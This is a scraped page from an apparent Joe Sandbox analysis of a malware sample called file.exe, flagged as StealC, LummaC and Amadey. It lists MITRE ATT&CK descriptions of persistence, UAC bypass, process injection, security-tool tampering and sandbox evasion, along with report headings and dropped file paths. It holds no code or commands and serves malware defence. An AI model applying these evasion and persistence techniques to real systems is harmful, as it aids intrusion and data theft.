Snapshot File: hcaresult_4_2_5240000_QZRNZLINJW4FDHW89WOCWU0IJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d91583dc4e6768b738e0549fca37b1814e1b6458c79027834afc9e41a3c8d2e1
Instruction ID: c3ab7b7f8a2d8e23d865167865331a5418a24153018e0ec86457c0c4f3ee936a
Opcode Fuzzy Hash: d91583dc4e6768b738e0549fca37b1814e1b6458c79027834afc9e41a3c8d2e1
Instruction Fuzzy Hash: 61F08BAF938321E2051FA474818D9F67E17EE17230335824AB2538DA0262D42AECAD22

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8Z5C764IBSHZ8A5U9SVRCREF.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre